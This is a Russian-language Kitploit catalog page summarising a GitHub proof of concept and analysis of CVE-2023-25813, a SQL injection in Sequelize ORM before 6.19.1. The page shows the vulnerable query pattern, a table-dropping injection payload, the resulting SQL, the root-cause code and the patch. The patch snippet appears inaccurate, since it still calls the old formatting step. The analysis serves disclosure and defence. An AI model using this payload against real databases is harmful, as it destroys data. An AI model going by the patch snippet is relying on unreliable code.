Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Sequelize-1day-CVE-2023-25813 — Proof-of-concept и технический анализ CVE-2023-25813, уязвимости SQL-инъекции в Sequelize ORM версиях до 6.19.1, включая детали эксплуатации и информацию о патче. | Kitploit
Инструменты/GitHubGitHub/bde574786/sequelize-1day-cve-2023-25813
Статический анализАнализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийБезопасность Баз Данных
GitHubbde574786/sequelize-1day-cve-2023-25813

Sequelize-1day-CVE-2023-25813

Proof-of-concept и технический анализ CVE-2023-25813, уязвимости SQL-инъекции в Sequelize ORM версиях до 6.19.1, включая детали эксплуатации и информацию о патче.

Репозиторий
31 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2023-25813

Информация о CVE

  • Номер CVE: CVE-2023-25813
  • Описание: В версиях Sequelize до 6.19.1 входные данные, переданные через опцию replacements, должным образом не экранируются, что может привести к SQL-инъекции при определённой структуре запроса.
  • Затронутые версии: Sequelize 6.19.0 и ниже
  • Исправленная версия: 6.19.1
  • Оценка CVSS
    • По шкале NIST: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
    • По шкале GitHub (CNA): 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

Среда воспроизведения

  • Node.js
  • Sequelize v6.19.0
  • MySQL

Обзор Sequelize

Sequelize — это одна из библиотек ORM (Object-Relational Mapping) для Node.js. ORM — технология, автоматизирующая взаимное преобразование между объектами и реляционными базами данных, позволяя запрашивать, создавать, изменять и удалять записи в базе данных через объекты без написания SQL-запросов вручную.

root@kitploit:~
// SELECT * FROM users WHERE id = 1;
const user = await User.findByPk(1);

Использование Replacements

replacements — это механизм привязки в Sequelize для безопасного внедрения пользовательских входных данных в SQL при использовании необработанных SQL-запросов или методов ORM. Он используется как основное средство предотвращения SQL-инъекций.

root@kitploit:~
// Позиционная привязка
await sequelize.query('SELECT * FROM projects WHERE status = ?', {
  replacements: ['active'],
});

// Привязка по ключу
await sequelize.query(
  'SELECT * FROM users WHERE name = :name AND age = :age',
  {
    replacements: {
      name: 'Alice',
      age: 25
    }
  }
);

Обзор уязвимости

Sequelize предоставляет опцию replacements для безопасной привязки пользовательских входных данных к SQL. Однако в версиях Sequelize ниже 6.19.1 при использовании методов ORM, несмотря на привязку через replacements, из-за проблемы в порядке внутреннего создания SQL и подстановки может возникнуть SQL-инъекция.

PoC

Ниже приведён пример кода Sequelize, в котором проявляется уязвимость. SQL-инъекция может возникнуть при совместном использовании literal и replacements.

root@kitploit:~
User.findAll({
  where: or(
    literal('soundex("firstName") = soundex(:firstName)'),
    { lastName: lastName },
  ),
  replacements: { firstName },
})

Атакующий может разрушить структуру запроса, внедрив в replacements следующие входные данные:

root@kitploit:~
{
  "firstName": "OR true; DROP TABLE users;",
  "lastName": ":firstName"
}

Это структура, где ключ replacements (:firstName) снова вставляется в значение, добавляя ключ привязки ещё раз.

root@kitploit:~
SELECT * FROM users 
WHERE soundex("firstName") = soundex(:firstName) 
	OR "lastName" = ':firstName'

Итоговый запрос выглядит следующим образом. Однако этот запрос по своей структуре трудно однозначно определить, будет ли он выполнен, и результат может различаться в зависимости от интерпретации SQL-парсера и настроек БД. В некоторых средах он может быть обработан как простая синтаксическая ошибка, но в зависимости от настроек существует риск выполнения непреднамеренных SQL-команд.

root@kitploit:~
SELECT * FROM users 
WHERE soundex("firstName") = soundex('OR true; DROP TABLE users;') 
	OR "lastName" = ''OR true; DROP TABLE users;''

Если среда позволяет SQL-парсеру выполнять множественные запросы, то с помощью одной привязки можно удалить таблицу. image.png

Причина возникновения уязвимости

Sequelize считает строку внутри функции literal доверенным фрагментом SQL и не экранирует её. Следовательно, эта строка вставляется в SQL-запрос как есть, и даже если внутри остаётся :param, он остаётся без обработки. Как показано ниже, replacements заменяет оставшиеся токены :param после того, как SQL уже полностью собран в виде строки, непосредственно перед выполнением. Поэтому пользовательский ввод вставляется в уже окончательно сформированный SQL, из-за чего вся структура запроса нарушается и возникает уязвимость.

root@kitploit:~
// sequelize-6.19.0/src/sequelize.js

if (options.replacements) {
      if (Array.isArray(options.replacements)) {
        sql = Utils.format([sql].concat(options.replacements), this.options.dialect);
      } else {
        sql = Utils.formatNamedParameters(sql, options.replacements, this.options.dialect);
      }
    }

Исправление

Была определена функция injectReplacements, которая разрешает привязку только в синтаксически безопасных местах.

root@kitploit:~
// sequelize-6.19.1/src/sequelize.js

if (options.replacements) {
  if (Array.isArray(options.replacements)) {
    sql = Utils.format([sql].concat(options.replacements), this.options.dialect);
  } else {
    sql = Utils.formatNamedParameters(sql, options.replacements, this.options.dialect);
  }
  sql = injectReplacements(sql, this.dialect, options.replacements);
}

Ссылки

  • https://github.com/sequelize/sequelize/issues/9410
  • https://github.com/advisories/GHSA-wrh9-cjv3-2hpw
  • https://github.com/sequelize/sequelize/compare/v6.19.0...v6.19.1
Скачать инструмент